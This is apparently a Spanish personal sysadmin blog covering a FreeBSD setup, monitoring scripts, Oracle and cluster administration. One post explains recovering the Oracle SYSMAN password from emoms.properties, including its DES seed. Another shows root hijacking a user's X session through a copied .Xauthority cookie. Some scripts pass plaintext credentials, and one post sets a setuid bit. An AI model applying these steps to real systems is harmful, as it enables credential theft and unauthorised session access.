===>>> Recursive 'make config' check complete for ports-mgmt/pkg_cutleaves

===>>> Starting build for ports-mgmt/pkg_cutleaves <<<===

===>>> The 'make config' check revealed no dependencies to update

===> Cleaning for pkg_cutleaves-20080320
===> Extracting for pkg_cutleaves-20080320
===> pkg_cutleaves-20080320 depends on file: /usr/local/bin/perl5.8.8 - found
/bin/mkdir -p /usr/ports/ports-mgmt/pkg_cutleaves/work
/bin/cp /usr/ports/ports-mgmt/pkg_cutleaves/files/pkg_cutleaves /usr/ports/ports-mgmt/pkg_cutleaves/files/pkg_cutleaves.1 /usr/ports/ports-mgmt/pkg_cutleaves/work
===> Patching for pkg_cutleaves-20080320
===> pkg_cutleaves-20080320 depends on file: /usr/local/bin/perl5.8.8 - found
===> pkg_cutleaves-20080320 depends on file: /usr/local/bin/perl5.8.8 - found
===> Configuring for pkg_cutleaves-20080320
===>>> pkg_cutleaves-20071021 is not depended on by any other ports
===>>> Creating a backup package for old version pkg_cutleaves-20071021
===>>> Package can be found in /usr/ports/packages/All
===> Installing for pkg_cutleaves-20080320
===> Generating temporary packing list
===> Checking if ports-mgmt/pkg_cutleaves already installed
install -o root -g wheel -m 555 /usr/ports/ports-mgmt/pkg_cutleaves/work/pkg_cutleaves /usr/local/sbin/pkg_cutleaves
install -o root -g wheel -m 444 /usr/ports/ports-mgmt/pkg_cutleaves/work/pkg_cutleaves.1 /usr/local/man/man1
===> Compressing manual pages for pkg_cutleaves-20080320
===> Registering installation for pkg_cutleaves-20080320
===> Cleaning for pkg_cutleaves-20080320

===>>> Upgrade for pkg_cutleaves-20071021 to pkg_cutleaves-20080320 succeeded


Terminated

Primero los listamos

[root@fbsd7 /usr/ports]# pkg_cutleaves -lc
BitchX-1.1.0.1_3 - ircII color client with GTK/GNOME support
bash-3.2.25 - The GNU Project's Bourne Again SHell
bigreqsproto-1.0.2 - BigReqs extension headers
elinks-0.11.2_3 - Elinks - links text WWW browser with enhancements
es-kde-i18n-3.5.10 - Spanish messages and documentation for KDE3
gccmakedep-1.0.2 - Create dependencies in makefiles using 'gcc -M'
glproto-1.4.8 - GLX extension headers
imake-1.0.2_4,1 - Imake and other utilities from X.Org
kde-3.5.8 - The "meta-port" for KDE
linux_base-fc-4_10 - Base set of packages needed in Linux mode (for i386/amd64)
makedepend-1.0.1,1 - A dependency generator for makefiles
nasm-2.05.01,1 - General-purpose multi-platform x86 and x86-64 assembler
pkg_cutleaves-20080320 - Interactive script for deinstalling 'leaf' packages
portaudit-0.5.11 - Checks installed ports against a list of security vulnerabilities
portmaster-1.25 - Manage your ports without external databases or languages
portupgrade-2.4.6,2 - FreeBSD ports/packages administration and management tool suite
qmake-3.3.8_1 - The build utility of the Qt project
resourceproto-1.0.2 - Resource extension headers
xcmiscproto-1.1.2 - XCMisc extension headers
xf86bigfontproto-1.1.2 - XFree86-Bigfont extension headers
xorg-7.3_1 - X.Org complete distribution metaport
xorg-cf-files-1.0.2_2 - X.org cf files for use with imake builds

Pero esto es normal, yo no quiero jugar con esto. A desinstalar el paquete

[root@fbsd7 /usr/ports]# pwd
/usr/ports
[root@fbsd7 /usr/ports]# cd ports-mgmt/
[root@fbsd7 /usr/ports/ports-mgmt]# pkg_delete -f pkg_cutleaves-20080320


Vamos a hacer una vuelta atras, aunque lo desinstalemos despues

[root@fbsd7 ~]# find / -name pkg_cutleaves-20071021.tbz
/usr/ports/packages/All/pkg_cutleaves-20071021.tbz

parece ser que solo nos guarda un backup si no tenemos el archivo .tbz en local en /usr/ports/packages

Porque otros diferentes si los guardo:


[root@fbsd7 ~]# ls /usr/ports/packages/portmaster-backup/
bash-3.2.25.tbz libtool-1.5.24.tbz
gettext-0.16.1_3.tbz png-1.2.22.tbz
[root@fbsd7 ~]#

domingo, noviembre 16, 2008

Mi primer dia con FreeBSD

Hoy ha sido mi primer dia con FreeBSD, y ahora voy a pasar al blog las notas de mi libreta.

Sera muy esquematico, pero lo hago antes que para nadie para mi. De todas formas si tienes dudas en algo dejame un comentario y cuando pueda respondere. Pero ten en cuenta que aunque mi experiencia con UNIX es la mitad de mi vida, mi experiencia con FreeBSD es de 1 dia, pero total que.

Empecemos.

Bajar la ultima stable de FreeBSD. Solo quiero arrancar, descargare todo lo demas de inet. Minimal 7.0 ISO.

Keymap nada, yo tengo otra forma mejor de castellanizar FreeBSD.

All disk. Y aqui un comentario, no sigas esto al pie de la letra, esto ha sido con mis necesidades particulares. Yo quiero dedicar un HD de 80GB entero a FreeBSD, asi que All disk, que se cargue todo, me da igual.

FreeBSD bootmgr.

X-User.

Servidor rapido. Francia.

IPV6, DHCP. No.

Progreso instalacion Base + XOrg.

Solo instalo bash (quiero dar bash como shell por defecto a mi user personal), elinks (quiero navegar en consola en busca de info, y BitchX (quiero IRC for fun&profit).

GW. No.

inetd. No, si acaso usare xinetd luego.

ssh. Si, quiero logearme remotamente.

Anon FTP, NFS server. No.

NFS client. Vale, cliente si.

Customize console. A ver que hay aqui. Cosas inutiles por ahora, pero un momento, salvapantallas... Elijo el Saver Daemon que pone que es only text. Sera mas bonito que mi consola en negro.

TZ. Yes. UTC. No. Elijo zona horaria.

Linux bin compatibility. Yes

mouse. No de momento, el mio es USB de Sun.

Añadir user. Al grupo wheel (quiero poder hacer su) y shell bash (en FreeBSD esta en /usr/local/bin/bash)

Passwd root.

Reinicio y ya tengo una shell.

Esto parece que va bien. Backup del kernel:

cp -pR /boot/kernel /boot/kernel.1st

Añado mi hostname (en FQDN) a /etc/hosts (FreeBSD no me lo añadio) referenciado a 127.0.0.1

Vamos a por el raton. El mio es USB (auto obligatorio en FreeBSD). Dispositivo /dev/ums0. Tres botones. Edito /etc/rc.conf

usbd_enable="YES"
moused_flags="-3"
moused_port="/dev/ums0 /dev/sysmouse"
moused_type="auto"
moused_enable="YES"

Teclado e idioma en castellano. Quiero acentos y ñ:

Paso de keymaps, aunque FreeBSD me lo añada. Que lo añada, me da igual, yo a lo mio que es mejor.

Edito /etc/login.conf y creo una clase spanish con la localizacion, y ademas ligada al final a la clase default.

spanish|Spanish users:\
:charset=ISO8859-1:\
:lang=es_ES.ISO8859-1:\
:tc=default:

Esto no sirve de nada porque FreeBSD mira un archivo binario resultante de este. Reconstruyo la BD:

cap_mkdb /etc/login.conf

Pero al crear mi user personal, no lo añadi a ninguna clase, lo hago ahora a la clase spanish:

chclass vlan7

En class pongo spanish.

Yo reinicie para que login me aceptara los cambios, no me bastaba con cerrar e iniciar sesion. Y asi de paso podia comprobar que las cosas iban por buen camino. Y lo iban.

Vamos a por el escritorio. KDE.

pkg_add -r kde

Esto tarda, me voy a otro terminal y añado KDE como escritorio por defecto para mi user:

echo "startkde" >~.xinitrc

Ahora mi solucion para usar raton en consola _Y_ en las X.

chmod +s /usr/sbin/moused

Alguien me matara por ponerle bit SUID a esto... pero es mi solucion. Lee hasta el final y dime si tienes algujna mejor ;)

Edito /usr/local/bin/startx

Inicio:
vidcontrol -m off (desactivo puntero en consola)
moused -p /dev/sysmouse -t auto (solo asi funcionaba mi raton en las X -de ahi el SUID de antes, esto lo ejecuta vlan7-)
(...)
Final:
killall moused (como antes lo añadi yo, KDE no se entera y no me lo finaliza, tengo que matarlo yo. Tras esto, el moused de la consola permanece ¿por que? porque pertenece a root amigos, y vlan7 no tiene permisos para matar el proceso, asi que todo bien)
vidcontrol -m on (que aparezca el puntero en consola)

Pues eso, que si alguien tiene una solucion mejor: comentario al canto. Yo jugue con varias opciones, en una de ellas, al salir de KDE, el cursor en consola quedaba moviendose loco...

Quiero KDE en castellano. Paquete de idioma y teclado -eso dicen, bah- español. Idioma si eh.

pkg_add -r es-kde-i18n

startx y puedo poner KDE en castellano.

KDE no se entera de mi xorg.conf y me mantiene el teclado en ingles. No quiero abrir un terminal cada vez que entre y poner

setxkbmap -layout es -model pc105

(105 teclas para que admita la ñ)

Vaya, siempre se me dieron mal las ventanas. Aun recuerdo el panico a Win95 cuando salio... Pero buscando por KDE, puedo cambiar el teclado en el Centro de Control / Regional / Teclado

105 teclas (ñ)
Spain

Ya tengo todo. ¿Todo? No! Me falta mi navegador favorito desde el que os estoy escribiendo. Opera.

Como no me fio un pelo de los guiris, y quiero mi Opera en castellano, voy a la web de Opera y me bajo el tar.bz2 para FreeBSD 7, que los chicos de Opera dicen que es multilenguaje :)

Descomprimo.

./install.sh

Para el icono, arrastre opera.desktop al escritorio como enlace. Lo busque en algun lugar de /usr/local por *opera*

Y este es mi primer post desde un FreeBSD. Si yo he tardado un dia, cualquiera con conocimientos mas o menos solidos en otro(s) UNIX deberia poder.

Ahora, para mi, empieza lo bueno...

Suerte y Exitos.

jueves, noviembre 06, 2008

Husmeando en archivos (I). Hacking Oracle. Passwords almacenados en archivos

Haciendo pruebas tras una instalacion de Oracle 10g Release1 y Release2, y usando en *nix greps, awks, seds... en pipes buscando passwords almacenados en archivos, pude ver como el password de SYSMAN se almacena EN TEXTO PLANO en el archivo siguiente:

$ORACLE_HOME/hostname_sid/sysman/config/emoms.properties

En la version 10g Release 2, se usa DES para cifrar el password (madre mia, DES en 2008...). Aunque DES sea hoy en dia un algoritmo de cifrado muy debil, los chicos de Oracle nos ponen las cosas aun mas sencillas, pues el archivo emoms.properties contiene el mismo la clave de descifrado (sin comentarios), asi que un atacante aun puede de manera muy sencilla obtener el password. Simplemente fijate en las propiedades emdRepPwd y empRepPwdSeed e inserta sus valores en tu herramienta DES favorita y voila, ante ti tienes en un instante el password.

Otros lugares donde encontre informacion sensible fueron:

$ORACLE_HOME/cfgtoollogs/cfgfw/CfmLogger_install_date.log
$ORACLE_HOME/cfgtoollogs/cfgfw/oracle.assistants.server_install_date.log
$ORACLE_HOME/cfgtoollogs/configToolAllCommands
$ORACLE_HOME/inventory/Components21/oracle.assistants.server.10_2_0_1_0.CFM.1.inst.xml


En win no he jugado. Con versiones anteriores no he jugado. Total que. No me interesa demasiado Oracle, me excitan muchisimo mas otros campos, asi que en ellos sigo con la mentalidad de que bien esta lo que bien funciona y mejor esta lo que mejor funciona :) Nunca permitais que los burocratas pongan limites a vuestras ansias de jugar con todo solo por el placer intelectual del reto que supone mejorarlo. En entornos de preproduccion claro, o en tu casa...

Y recordad: "Maybe you can't break the system, but you can always hack it".

Suerte y Exitos.

vlan7

jueves, octubre 23, 2008

Hardware hack. Convertir PIX 506E en casi 515E

Leo en hack-a-day que basta sustituir la CPU. Abrirlo y meterle un P-III 600MHz. Y en los comentarios un tipo dice que consiguio meterle una imagen reciente del pixOS.
Os dejo el enlace mejor Upgrading the Cisco PIX 506E

lunes, octubre 13, 2008

Robocopy. Copiar ACLs de archivos sin copiar datos

Hoy me recordaron una opcion que han eliminado para copiar solo las ACLs de archivos.

robocopy <Origen> <Destino> /SECFIX

Eso en nuevas versiones se hizo deprecated. Haciendo pruebas me ha dado el mismo resultado esta sintaxis:

robocopy <Origen> <Destino> /IS /COPY:SOU

Con la opcion /IS forzamos la copia de los archivos marcados como "Same".

jueves, octubre 09, 2008

Monitarizacion de varias maquinas remotas desde un win con VBS (CLD 3.1)

'CLD.VBS 3.1 (CheckListDiari 3.1)
'vlan7 - http://vlan7.blogspot.com - From Scratch
'Ejecutar el script VBS en local si lo ejecutais varias personas (cuestion de permisos)

'News from 3.0 to 3.1 / 8-Oct-2008
'High Speedup
'Se quitan 2 Sleeps de 1 segundo porque se comprueba que no son necesarios.
'Por cada web_login 1 segundo de espera menos.

'News from 2.1 to 3.0 / 7-Oct-2008
'Monitorizacion de servicios de maquinas Win remotas
'2 WScript.Echo porque servicios tardan

'News from 2.0 to 2.1 / 1-Oct-2008
'Monitorizacion de conectividad de maquinas UNIX _desde ellas mismas_ con FTPs (plink)
'Me doy cuenta de la necesidad de ejecutar el script VBS en local

'News from 1.5 to 2.0 / 29-Ago-2008
'Monitorizacion servicios windows (aun solo local -comentado-)
'pings / tnspings totalmente rotos en 1.4. Solucionado
'Los ficheros se cierran
'Limpieza

'News from 1.4 to 1.5 / 28-Ago-2008
'Speed-up

'News from 1.3 to 1.4 / 27-Ago-2008
'Concurrencia de comandos obj WshShell (not True). Mucho mas rapido

'News from 1.2 to 1.3 / 16-Jul-2008
'Añadida comprobacion BBDD abiertas + startup_time sqlplus

'News from 1.1 to 1.2 / 12-Jun-2008
'Añadida comprobacion login en webs con Please Wait

'News from 1.0 to 1.1 / 11-Jun-2008
'Añadida comprobacion de que las webs estan up y corriendo
'Pequeñas mejoras de estilo

'1.0 / 6-Jun-2008
'Comprueba pings / tnspings

'Entradas:
'pings.txt - Maquinas a las que hacer ping
'tnspings.txt - Maquinas a las que hacer tnsping
'webs_no_login.txt - WEBs sin login a comprobar que esten up y corriendo
'webs_login.txt - WEBs con login a comprobar que esten up, corriendo y login OK
'services.txt - Servicios a monitorizar running y sus maquinas

'Formato entradas:
'pings.txt, tnspings.txt, webs_no_login.txt - Un host/IP/URL por linea
'webs_login.txt - 3 lineas: URL login, URL accesible solo logeado, patron a buscar
'bbdd.txt - 2 lineas: Un sqlplus, nombre bd a mostrar. (Se pasa bbdd.sql a sqlplus)
'services.txt - 2 lineas: host/IP;user;password, servicio1;servicio2;...;servicion

'Salida:
'Escribe en una hoja Excel on-the-fly:
'pings, tnspings, webs_no_login - Escribe Online / *OFF*
'webs_login - Escribe Online / *OFF* + Login OK / Login *NO* OK
'bbdd - Escribe select status, startup_time from v$instance;
'Orden: pings, tnspings, webs_no_login, webs_login, bbdd

Set objExcel = CreateObject("Excel.Application")
objExcel.Visible = True
objExcel.Workbooks.Add

objExcel.Cells(1, 1).Value = "Maquinas"
objExcel.Cells(1, 2).Value = "Resultado"

Set Fso = CreateObject("Scripting.FileSystemObject")
Set WshShell = WScript.CreateObject("WScript.Shell")

Function EjecutaComando(Comando)
' Ejecuta comando argumento y devuelve salida comando
Dim objExec, strOutput, intVersion

On Error Resume Next
intVersion = Wscript.Version ' Get scripting host version
Set objExec = WshShell.Exec(Comando)

If intVersion < 5.6 Then
On Error Resume Next
strOutput = objExec.StdOut.ReadAll
Else
Do While True
strOutput = strOutput & objExec.StdOut.Read(1)
If objExec.StdOut.AtEndOfStream Then
Exit Do
End If
Loop
End If

EjecutaComando = strOutput
End Function

i = 2 'Fila

' *** pings ***
Set InputFile = fso.OpenTextFile("pings.txt")
Do While Not (InputFile.atEndOfStream)
HostName = InputFile.ReadLine
strOutput = EjecutaComando("ping -n 1 " & HostName)
objExcel.Cells(i, 1).Value = HostName

patron = "Respuesta"
objExcel.Cells(i, 2).Value = "*OFF*"

arrLines = Split(strOutput, vbCrLf)
For Each strLine in arrLines
If InStr(strLine, patron) <> 0 Then 'Si patron encontrado
objExcel.Cells(i, 2).Value = "On Line"
End If
Next

i = i + 1 'Siguiente fila
Loop

InputFile.Close
i = i + 1 'Una linea en blanco

' *** tnspings ***
Set InputFile = fso.OpenTextFile("tnspings.txt")
Do While Not (InputFile.atEndOfStream)
HostName = InputFile.ReadLine
strOutput = EjecutaComando("tnsping " & HostName)
objExcel.Cells(i, 1).Value = HostName

patron = "correctamente"
objExcel.Cells(i, 2).Value = "*OFF*"

arrLines = Split(strOutput, vbCrLf)
For Each strLine in arrLines
If InStr(strLine, patron) <> 0 Then 'Si patron encontrado
objExcel.Cells(i, 2).Value = "On Line"
End If
Next

i = i + 1 'Siguiente fila
Loop

InputFile.Close
i = i + 1 'Una linea en blanco

' *** WEBs NO LOGIN***
Set InputFile = fso.OpenTextFile("webs_no_login.txt")
Set objHTTP = CreateObject("MSXML2.XMLHTTP")
Do While Not (InputFile.atEndOfStream)
URL = InputFile.ReadLine

objExcel.Cells(i, 1).Value = URL

'Comprobamos conectividad

objHTTP.Open "GET", URL, False
objHttp.Send

If objHTTP.statusText = "OK" Then
objExcel.Cells(i, 2).Value = "On Line"
End If

objExcel.Cells(i, 3).Value = "No necesario login"

i = i + 1 'Siguiente fila
Loop

InputFile.Close
i = i + 1 'Una linea en blanco

' *** WEBs LOGIN ***
Set InputFile = fso.OpenTextFile("webs_login.txt")
Do While Not (InputFile.atEndOfStream)
URL = InputFile.ReadLine

objExcel.Cells(i, 1).Value = URL

'Comprobamos conectividad
objHTTP.Open "GET", url, False
objHttp.Send

If objHTTP.statusText = "OK" Then
objExcel.Cells(i, 2).Value = "On Line"
URL_login = InputFile.ReadLine 'URL test login
patron = InputFile.Readline 'Cadena a buscar
'WScript.Sleep 1000 'sleep de 1 segundo para que de tiempo a cargar pagina final

'Comprobamos login
objHTTP.Open "GET", URL_login, False
objHttp.Send
objExcel.Cells(i, 3).Value = "Login *NO* OK"

arrLines = Split(objHTTP.responseText, vbCrLf)
For Each strLine in arrLines
If InStr(strLine, patron) <> 0 then 'Si patron encontrado
objExcel.Cells(i, 3).Value = "Login OK"
end if
Next
End If
i = i + 1 'Siguiente fila
Loop

i = i + 1 'Una linea en blanco

' *** BBDD ***
Set InputFile = fso.OpenTextFile("bbdd.txt")
Do While Not (InputFile.atEndOfStream)
sqlplus = InputFile.ReadLine
sistema = InputFile.ReadLine
strOutput = EjecutaComando(sqlplus)
objExcel.Cells(i, 1).Value = sistema
patron = "OPEN"
objExcel.Cells(i, 2).Value = "Closed"
arrLines = Split(strOutput, vbCrLf)
For Each strLine in arrLines
If InStr(strLine, patron) <> 0 Then 'Si patron encontrado
objExcel.Cells(i, 2).Value = strline '"Open"
End If
Next
i = i + 1 'Siguiente fila
Loop

InputFile.Close
i = i + 1 'Una linea en blanco

' *** ftp_check.sh ***
objExcel.Cells(i, 1).Value = "remota"
i = i + 1 'Una linea en blanco
'%ComSpec% /c echo y |... necesario para pipear "yes" por si nos pide las claves ssh (la primera vez)
strOutput = EjecutaComando("%ComSpec% /c echo y |plink -ssh -pw password root@remota ""/bin/bash /ftp_check12.sh""")
arrLines = Split(strOutput, vbLf) 'UNIX solo usa caracter LF como nueva linea
For Each strLine in arrLines
objExcel.Cells(i, 1).Value = strline
i = i + 1 'Siguiente fila (siguiente FTP)
Next
'i = i + 1 'Una linea en blanco

WScript.Echo("Monitorizacion servicios Win remotos. Pulse 'Aceptar' y tenga paciencia")

' *** Servicios ***
Set InputFile = fso.OpenTextFile("services.txt")
Do While Not (InputFile.atEndOfStream)
Linea = InputFile.ReadLine
arrLines = Split(Linea, ";")
strComputer = arrLines(0)
Username = strComputer & "\" & arrLines(1)
Password = arrLines(2)

objExcel.Cells(i, 1).Value = strComputer

Linea = InputFile.ReadLine
arrServicios = Split(Linea, ";")

'Creamos el objeto SWbemLocator
Set objLocalizadorWMI = CreateObject("WbemScripting.SWbemLocator")
Set objWMIService = objLocalizadorWMI.ConnectServer(strComputer, "root\cimv2", Username, Password)

j = 0
Do While j <= Ubound(arrServicios)
strQuery = "SELECT DisplayName,State FROM Win32_Service WHERE Name = '" + arrServicios(j)
strQuery = strQuery + "'"
'i = i + 1 'Siguiente fila (Servicios)
'objExcel.Cells(i, 2).Value = strQuery

Set colServices = objWMIService.ExecQuery(strQuery)
For Each objService in colServices
i = i + 1 'Siguiente fila (Servicio actual)
objExcel.Cells(i, 2).Value = objService.Name
objExcel.Cells(i, 3).Value = objService.State
Next
j = j + 1
Loop
i = i + 1 'Siguiente fila (Siguiente Servicio)
Loop
InputFile.Close

'Formato resaltado fila 1
objExcel.Range("A1:B1").Select
objExcel.Selection.Interior.ColorIndex = 19
objExcel.Selection.Font.ColorIndex = 11
objExcel.Selection.Font.Bold = True

'objExcel.Cells.EntireColumn.AutoFit
WScript.Echo("CLD finalizado. Pulse 'Aceptar' y revise la hoja Excel")

miércoles, septiembre 03, 2008

Gestor de descargas rapidshare, etc

Probe una docena. Solo me funciono este:

JDownloader

Yo lo uso para rapidshare, pongo todo en cola y me olvido, que vaya bajando.

Se actualiza muy a menudo.

martes, septiembre 02, 2008

Capturar sesiones X de otros usuarios

La autorizacion en las X-Window funciona basicamente de la siguiente manera:

El servidor X usa una "magic cookie" para autorizar usuarios. Cuando inicias sesion en las X, el servidor (X-Window es un servidor) crea y almacena esta cookie unica en ~/.Xauthority. El archivo solo es accesible por el propio usuario, y por el root claro.

Veamos como el root puede aprovecharse. Si nos logeamos como root en el servidor que vlan7 esta usando, podemos copiarnos la magic-cookie de vlan7.

# cp ~vlan7/.Xauthority .

Pero antes de que podamos usarla tenemos que cambiar nuestro display. Como hemos entrado por ssh no tenemos display.

# echo $DISPLAY
DISPLAY: undefined variable


No queremos cualquier display, queremos justo el display que vlan7 esta usando. Lo averiguamos leyendo la magic-cookie de vlan7:

# xauth list
probador/unix:0 MIT-MAGIC-COOKIE-1 7e7b87943897439874392


Ya tenemos el nombre del display de vlan7. Es probador/unix:0, donde probador es su hostname. Nos conectamos a su display.

# DISPLAY=probador/unix:0
# export DISPLAY


Y ya podemos interactuar con su sesion. Por ejemplo, mandemosle un mensaje para que se vaya ya.

# xmessage -nearmouse Es hora de irse a casa vlan7...

Y cerca del raton le saldra el mensaje a vlan7. Hasta que no lo acepte no nos saldra de nuevo el prompt de la shell.

Sed buenos si sois root...

jueves, agosto 21, 2008

Historico en HP-UX (II)

En respuesta a chinocabron en la entrada "Historico en HP-UX" que dice:

Buenos días.
Me gustaría poder guardar en un fichero un histórico de los comandos que ejecuta el root o cualquier otro usuario y no se borrase al terminar la sesión o reiniciar la máquina. A ver si alguien me puede ayudar.
Estoy usando HP-UX con una versión 11.23 en un rx2600
Muchas gracias de antemano


Bien, primero mira si tienes las variables HISTFILE y HISTSIZE definidas:

env |grep HIST

Si las tienes definidas, mira ahi.

Si no las tienes definidas y usas una shell POSIX, tambien puedes ver el historial asi:

cat .sh_history

Si quieres mantener un historial ordenado por fechas, añade en el /etc/profile algo como:

HISTFILE=/var/log/hist/$USER`date +%Y%m%d%H%M%S`.hist
HISTSIZE=10000

miércoles, agosto 20, 2008

Control crontabs VCS con failover

En un VCS con failover las tareas crontab solo deberian ejecutarse en el nodo activo.

Una solucion elegante es crear en todos los grupos del cluster un recurso de tipo FileOnOff que cree un archivo en /var/tmp solo donde el grupo esta activo. De tipo global y atributo critico a false para que no tire a todo el grupo si el recurso se cae.

De esta forma podemos comprobar en cada linea de los crontabs si ese archivo existe, y si y solo si existe, hacer lo que tengamos que hacer. Algo como:

0 3 * * * /bin/bash -c "if [ -f /var/tmp/cron ] ; then /export/home/oracle/bd_start.sh nombre_recurso; fi"

miércoles, agosto 13, 2008

Historico en HP-UX

En HP-UX el root tiene que usar la shell /sbin/sh, que no tiene histórico al ser la shell original de UNIX.

No es posible asignar a root una shell por defecto distinta a sh, pero puedes cargar ksh extendido en HP-UX con el comando keysh y así ya puedes usar flecha arriba/flecha abajo para recuperar comandos anteriores.

TAB-completion para los comandos que yo sepa no hay. Una solucion podria ser instalar bash, algo evidentemente no recomendable en sistemas en producción, pero para completar directorios se puede pulsar ESC dos veces. Menos es nada...

UNIX. Borrar bien en cualquier terminal

En algunos UNIX, al conectarnos remotamente, tenemos que pulsar MAYUS+BORRAR para borrar.

Basta introducir el siguiente comando (o ponerlo en el profile del usuario):

stty erase [TECLA_BORRAR]

miércoles, agosto 06, 2008

check FTPs bash (II)

Nueva version del script que comprobaba la conectividad de FTPs definidos en un archivo de texto.

Hace lo mismo pero ahora manda mensaje al HP Openview si algun FTP falla.

Metido en una tarea crontab que se ejecuta cada 15 minutos.

Este es el codigo:

#ftp_check.sh 1.3 / 6-Ago-2008
#vlan7
#
#Based on GNUcitizen's bash portscanner
#
#News from 1.1 to 1.2
#Tratamiento background, si FTP NO OK, no necesario CTRL+C, kill.
#Mensaje a OVO si FTP NO OK
#
#News from 1.0 to 1.1 / 13-Jun-2008
#if-else en vez de 2 ifs, mas elegante
#
#1.0 / 12-Jun-2008
#Chequea status FTPs
#
#Requisitos: bash
#
#Entrada: ftps_ips.txt ftps_nombres.txt
#
#Salida: Escribe en salida estandar "FTP <host> OK" / "FTP <host> *NO* OK"
#
#Formato Entrada: Un server FTP por linea
#
#Nota: Para escanear otros puertos puede ser necesario mandar logout / exit en vez de quit
#
#!/bin/bash
for host in $(cat ftps_ips.txt) ; do
echo -en "o $host 21\nquit\n" |telnet 2>/dev/null |grep 'Connected to' >/dev/null&
sleep 1
kill $! 2>/dev/null
if [ $? -eq 0 ]; then
/opt/OV/bin/opcmsg severity=critical app=kernel object=cron msg_text="Un FTP *NO* OK" msg_grp=Performance node=host.es
fi
done

for host in $(cat ftps_nombres.txt) ; do
if echo -en "o $host 21\nquit\n" |telnet 2>/dev/null |grep 'Connected to' >/dev/null; then
: #NOP. returns 0
else
/opt/OV/bin/opcmsg severity=critical app=kernel object=cron msg_text="Un FTP *NO* OK" msg_grp=Performance node=host.es
fi
done

martes, agosto 05, 2008

Parada de una bd Oracle en VCS

Teniendo en cuenta si el grupo esta o no congelado. Para el arranque es similar.

#bd_shut 2.0
#vlan7 / 5-8-2008
#Para la bd pasada como parametro $1 si la bd reside en mi nodo
#
#News from 1.1 (3-7-2008) to 2.0
#Valido para nodo congelado
#
#News from 1.0 (17-6-2008) to 1.1
#Full PATH comandos cluster
#
#Ejemplo llamada:
#./bd_shut.sh proves_oracle
#
#!/bin/bash

#Validacion contra cluster
/opt/VRTSvcs/bin/halogin admin password

#Abrimos config cluster
/opt/VRTSvcs/bin/haconf -makerw

#S1=Quien tiene la BBDD
S1=`/opt/VRTSvcs/bin/hares -state $1 |grep ONLINE |awk '{print $3}'`
S2=`hostname`

if [ "$S1" != "$S2" ];
then
#A que grupo pertenece recurso $1
grupo=`/opt/VRTSvcs/bin/hares -display $1 -attribute Group |grep Group |awk '{print $4}'`

frozen=`/opt/VRTSvcs/bin/hagrp -display $grupo |grep -w Frozen |awk '{print $4}'`
tfrozen=`/opt/VRTSvcs/bin/hagrp -display $grupo |grep -w TFrozen |awk '{print $4}'`

#Si estamos frozen
if [ "$tfrozen" -eq 1 ] || [ "$frozen" -eq 1 ]
then
#Descongelamos grupo
/opt/VRTSvcs/bin/hagrp -unfreeze $grupo -sys $S1

#Paramos bd
/opt/VRTSvcs/bin/hares -offline $1 -sys $S1

#Congelamos permanent
/opt/VRTSvcs/bin/hagrp -freeze $grupo -persistent
fi
fi

#Cerramos config cluster
/opt/VRTSvcs/bin/haconf -dump -makero

martes, julio 29, 2008

Monitorizacion Oracle

oracle.bat:

@ECHO OFF
REM oracle.bat 1.3 / 11-6-2008
REM vlan7
REM News from 1.2 / 11-6-2008
REM -Pasada toda la cadena de tnsnames.ora a sqlplus. Ya funciona todo desde la red.
REM .
REM News from 1.1 / 10-6-2008
REM -Sobreescribir ">" en vez de append ">>"
REM -Eliminada una " que sobraba
REM -Testeado todo, OK
REM .
REM News from 1.0
REM -Todos los sqlplus en una linea con ORs (|)
REM -Los HTML resultantes se dejan en la ubicacion definitiva en red
REM -Se añade automaticamente fecha a los archivos para no tener que hacerlo a mano
REM -Testeado para un sqlplus OK

@FOR /F "tokens=1,2,3 delims=/ " %%A IN ('DATE /t') DO @(
SET dia=%%A
SET mes=%%B
SET any=%%C
SET fecha=%%A-%%B-%%C
)
@ECHO ON

sqlplus -L -S -M "HTML ON TABLE 'BORDER="2"'" system/password@(DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=host)(PORT=1521)))(CONNECT_DATA=(SERVICE_NAME=bd))) @"\\servidor\oracle\monitorizacion_bd.sql">"\\servidor2\host\monitorizacion_bd%fecha%.html" | sqlplus ...


monitorizacion_bd.sql:

-- MONITORITZACIO BBDD bd
SET PAGESIZE 500

TTITLE CENTER 'Verifico BBDD Oberta'
select status from v$instance;
TTITLE OFF;

--Verificació tamany BBDD
TTITLE CENTER 'Verifico tamany BBDD'
select sum(BYTES)/1024/1024 MB from DBA_EXTENTS;
TTITLE OFF;

--Verificació número d´obectes associats al propietari USRSI que tenen algun error descartant aquells que no són procedures ni package ni funcions
TTITLE CENTER 'Numero objectes del usuari USRSI amb errors deixant Package, Procedures y Functions.'
select count(*) from dba_objects where OWNER='USRSI' and STATUS <>'VALID' and not OBJECT_TYPE='PROCEDURE' and not OBJECT_TYPE='PACKAGE BODY'and not OBJECT_TYPE='FUNCTION';
TTITLE OFF;

--Si existeix algun objecte erroni miro quin és.
TTITLE CENTER 'Verificación objectes que donen error'
select * from dba_objects where OWNER='USRSI' and STATUS<>'VALID';
TTITLE OFF;

REM --Verificació d´indexs que són vàlids i estan danyats.
REM TTITLE CENTER 'Numero Indexs danyats'
REM select count(*) from dba_indexes where (table_owner like 'USRSI' and status <> 'VALID' and partitioned <> 'YES') or (partitioned='YES' and status <> 'N/A' and table_owner like 'USRSI');
REM TTITLE OFF;

REM --Verificació quins indexs que són vàlids i estan danyats.
REM TTITLE CENTER 'Nom Indexs danyats'
REM select status, partitioned, index_name from dba_indexes where (table_owner like 'USRSI' and status <> 'VALID' and partitioned <> 'YES') or (partitioned='YES' and status <> 'N/A' and table_owner like 'USRSI');
REM TTITLE OFF;

--Revisió dels indexs que estan particionats
TTITLE CENTER 'Revisió de indexs particinats'
select index_name, status, index_type, table_name, uniqueness, tablespace_name, partitioned, last_analyzed from dba_indexes WHERE OWNER='USRSI';
TTITLE OFF;

--Verificació espai lliure i ocupat als tablespaces.
TTITLE CENTER 'Espai lliure i ocupat als tablespaces'
select a.tablespace_name "Nombre del tablespace",
to_char((sum(a.sumb) / sum(a.tots) * 100), '90.99') Porcentaje,
sum(a.tots) "Total Ocupado",
sum(a.sumb) "Total Libre"
from (select tablespace_name,
0 tots,
sum(bytes) sumb,
max(bytes) largest,
count(*) chunks
from dba_free_space a
group by tablespace_name
union
select tablespace_name, sum(bytes) tots, 0, 0, 0
from dba_data_files
group by tablespace_name
) a
group by a.tablespace_name order by porcentaje desc;
TTITLE OFF;

--Numero de blocks dels indexs que estan en estat UNUSABLE
TTITLE CENTER 'Numero de blocks que estan en estat UNUSABLE'
